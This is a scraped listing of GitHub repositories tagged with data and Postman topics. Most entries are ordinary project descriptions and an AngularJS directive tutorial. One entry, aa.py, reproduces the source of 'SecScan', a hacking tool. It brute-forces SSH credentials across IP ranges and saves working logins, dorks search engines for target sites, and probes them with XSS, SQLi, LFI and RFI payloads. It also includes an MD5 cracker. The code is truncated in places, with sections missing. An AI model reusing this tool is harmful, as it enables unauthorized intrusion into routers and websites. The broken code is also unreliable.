boiler, boilerplate, data, database, default, fastest, lang, rest, restful, skeleton, starter, storage, struct, structure, test 		The fastest way to deploy a (skeleton) restful api’s with Golang - Gin Framework with a structured starter project that defaults to PostgreSQL database and Redis as the session storage. 0 stars 0 watchers 65 forks
sivcan/ResponseToFile-Postman
data, file, writing 		This project helps in writing response (or any data) from a postman request to a file 15 stars 15 watchers 7 forks
experiandataquality/postman-collections
collection, collections, data, experian, quality 		Experian Data Quality Postman collections 3 stars 3 watchers 18 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
mmkxyu/auto-create-test-data
data, jmeter, test 		该工具作用是快速造数据，按照你想要的规则将造好的测试数据存入csv,方便postman，jmeter等工具做接口自动化 我们知道当我们做接口自动化的时候，制作入参的csv表格手动填写很麻烦，特别是当项目某个字段的规则变了以后，那么所有涉及到这个字段的正常和异常用例数据可能都需要改变，维护的工作量比较大 该工具就是帮助你用代码的方式去造csv数据，一旦接口的字段规则变了，只需要变动生成数据的代码规则即可 6 stars 6 watchers 0 forks
RTradeLtd/ipld-eml
data, email, mail, parse, parser, store, stores 		An RFC-5322 compatible email parser that stores data on IPFS 5 stars 5 watchers 0 forks
caodazhi/view.and.data.api.postman
collection, data, postman collection 		View & Data API postman collection 0 stars 0 watchers 10 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
timoa/nodejs-encryption-api-example
data, decrypt, example, node, nodejs 		Example of encrypting/decrypting data thru an API using node.js 3 stars 3 watchers 1 forks
SheikhZayed/PostMan-Android-Application
data, developing, sets 		This Application can Listen to the Incoming GSM Events in Android Handsets and Automatically forwards those Events to the Configured API in the App,It Could be made Usefull for developing Apps that want to LIsten to Phones GSM Data and forward those data to some Web based Application. 0 stars 0 watchers 6 forks
xyyxhcj/vpi
data, import, json, reference, struct, structure, test 		接口管理系统（支持JSON导入，引用数据结构，接口测试） api management with json import, reference data structure, test 0 stars 0 watchers 6 forks
CoVital-Project/pulse-ox-data-collection-web-service
client, clients, collection, data, mobile, receiving, service 		HTTPS API for receiving pulse oximetry from mobile clients 2 stars 2 watchers 1 forks
Xantier/bound-ttr
assert, assertion, boundary, collection, collections, data, database, framework, test, testing 		Automated boundary testing framework based on Postman collections and database assertions 2 stars 2 watchers 0 forks
mikhail-kursk/Api-testing-with-postman-and-excel
data, excel, file, store, test, testing, urls 		Project store:Excel file with macros in which you can describe request urls, data and flow for testing your API. 1 stars 1 watchers 2 forks
normand1/FlightRecorder
collection, collections, data, json, light, mock, order, postman collection, postman collections 		Update mock data json responses from your APIs using postman collections 2 stars 2 watchers 0 forks
command-line-physician/command-line-physician
command, curated, data, database, find, intention, local, rest, spec, store, test, testing, unit, user, users, util, utilizes 		Our intention with this app is to let users find natural herbal based remedies for their ailments. Our app allows users to browse our specially curated herb database by name and latin name. Command-Line Physician also allows users to locate the nearest store where they can find their unique remedy, or a local resident who has the herb available to share. Tech stack: Command-line Physician is a RESTful api that utilizes Node, Express, Jest, end-to-end and unit testing. Our testing was carried out by Compass, Robo 3T, and Postman. 0 stars 0 watchers 4 forks
dailiang18bb/Explorer-Ionic
apps, data, explore, hybrid, mobile, service, services, test, tested 		Explorer – A hybrid mobile apps which help explore the world by using Google Vision and Wikipedia API. Coding in Angular 6, building with Ionic 4 and Cordova. Worked on the REST/Web API to create the services and tested on postman and used in AngularJS $HTTP service calls and bind the data in the card. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
SAP-samples/data-attribute-recommendation-postman-tutorial-sample
client, data, dataset, example, learn, learning, machine, sample, samples, service, tutorial 		Sample code and dataset example for anyone who wants to try out the data attribute recommendation machine learning service using a REST client. 1 stars 1 watchers 1 forks
myFMbutler/fm-data-api-18-postman
collection, data 		Postman collection for FileMaker 18 Data API. 0 stars 0 watchers 3 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 3 forks
mohamed-abdo/performance-load-test
api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit 		Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). 1 stars 1 watchers 0 forks
ivangfr/springboot-testing-mysql
api blueprint, application, applications, asyncapi, boot, data, database, goal, goals, json schema, mysql, notation, oauth, openid, service, spring, springboot, sql, test, testing, user, users, util, utilities 		The goals of this project are: 1) Create a simple Spring Boot REST API to manage users called user-service. The database used is MySQL; 2) Explore the utilities and annotations that Spring Boot provides when testing applications. 3) Testing with Postman and Newman 1 stars 1 watchers 0 forks
omarabdeljelil/flight-api
data, fiddler, flight, includes, laravel, light, require, test, tested, user, validation 		Flight API (created with laravel 5.7) all the HTTP requests are tested with Postman/fiddler. it includes data validation and require user's Token validation for PUT,POST and DELETE requests 1 stars 1 watchers 0 forks
akshaymittal143/BookAPI-Web-Services
combine, combined, data, development, end to end, express, integration, light, lightweight, powerful, quickly, server, service, services, test, tests, tool, unit, verb, verbs 		Node.js is a simple and powerful tool for back-end development. When combined with express, you can create lightweight, fast, scalable APIs quickly and simply. which will walk through how to stand up a lightweight Express server serving truly RESTful services using Node.js, Mongoose, and MongoDB. We will implement all of the RESTful verbs to get, add, and update data from our service. We will also spend some time working through unit and end to end integration tests for our services. 1 stars 1 watchers 0 forks
bhawna2109/Librarian
book, books, case, check, collection, data, database, library, office, search, storing 		Librarian is a Postman collection that allows you to use Slack to check the availability of a book in your office library. In this case, we are searching for the book using a Slack app, and also storing the books that we have in the Postman office using Airtable as a database. 1 stars 1 watchers 0 forks
Chitturiarunkrishna/VehicleAPI
data, database, demonstration, express 		A simple demonstration of API using express and MongoDB database 1 stars 1 watchers 0 forks
davidenoma/Restful-Explore-California-App
boot, data, form, format, information, location, package, packages, rating, rest, restful, service, spring, spring boot, tours 		A restful spring boot micro service based on spring data JPA and spring rest. It allows requests to the web service that returns information about tours, tour packages and tour ratings about locations in california. 1 stars 1 watchers 0 forks
flyingeinstein/nimble
analytics, automat, automation, collection, config, configure, controller, data, home, popular 		Arduino IoT multi-sensor for the ESP8266. Supports a number of popular sensors. Simply wire sensors to the ESP8266 and compile this sketch. Use the Http Rest API (Postman collection provided) to configure and control the sensors and direct sensor data to a number of targets such as Influx for analytics or a home automation controller. 1 stars 1 watchers 0 forks
h-parekh/metadata-quality-checks
check, data, meta, postman tests, quality, test, tests 		A repository to share postman tests for metadata quality 1 stars 1 watchers 0 forks
kpraneeth3456/JWT-Authentication
account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user 		Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. 1 stars 1 watchers 0 forks
MayMP/NodeJsExpressMongoDB
center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit 		This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. 1 stars 1 watchers 0 forks
mhsilveirabr/brazil-northeast-climate
analyse, data, python 		Using python to analyse data from Brazilian National Institute of Meteorology (INMET) 1 stars 1 watchers 0 forks
Oghenetega3000/TestApi
collects, data, database, employee, form, format, information, test, tested, upload 		An api that collects employee information in JSON format and uploads it to a database (to be tested in Postman) 1 stars 1 watchers 0 forks
omarabdeljelil/simple-api-php
data, frontend, operation, operations, test, tested 		Simple php RESTful API that return JSON data, with frontend (AJAX POST and GET), all the CRUD operations are tested with Postman 1 stars 1 watchers 0 forks
pawanmethre/my-first-Flask-resful-application
api blueprint, application, asyncapi, data, database, flask, flask restful, json schema, oauth, openid, python, rest, restful, sql, sqlite, tool 		My first python flask restful application using postman tool which is basically CURD application for items and price using sqlite3 database. 1 stars 1 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 0 forks
postman-data-api-templates/home
data, home, managing, site, template, templates, website 		This is the main website for managing all the Postman data API templates. 1 stars 1 watchers 0 forks
RamanaPeddinti/Basic-pycharm-program-in-retail-data
data, process, program, retail 		Analysed and preprocessed the retail data using PYCHARM with FLASK (frame work) and deployed in POSTMAN API 1 stars 1 watchers 0 forks
rcelsom/Boat-Tracker
cloud, data, datastore, document, documentation, environment, host, hosting, included, storage, store, test, test suite 		This is a REST API using Google cloud for hosting and Google datastore for storage. API documentation and Postman test suite and environment is included 1 stars 1 watchers 0 forks
Shaykoo/task-manager-api
address, auth, authenticate, authenticated, authentication, data, database, email, mail, manager, notify, require, required, send, sends, site, store, stores, task, tasks, test, user, users, website 		This app is purely based on NodeJS. This app is a task manager app which stores all the users and their tasks in MongoDB database with required authentication of the user to create, read, update and delete the users and their own particular tasks plus when a user gets created or deleted the app sends them email to notify. Use the website address to test it on postman. Get authenticated before using the app on postman. 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
thenikhilk/jwt-auth-webapi
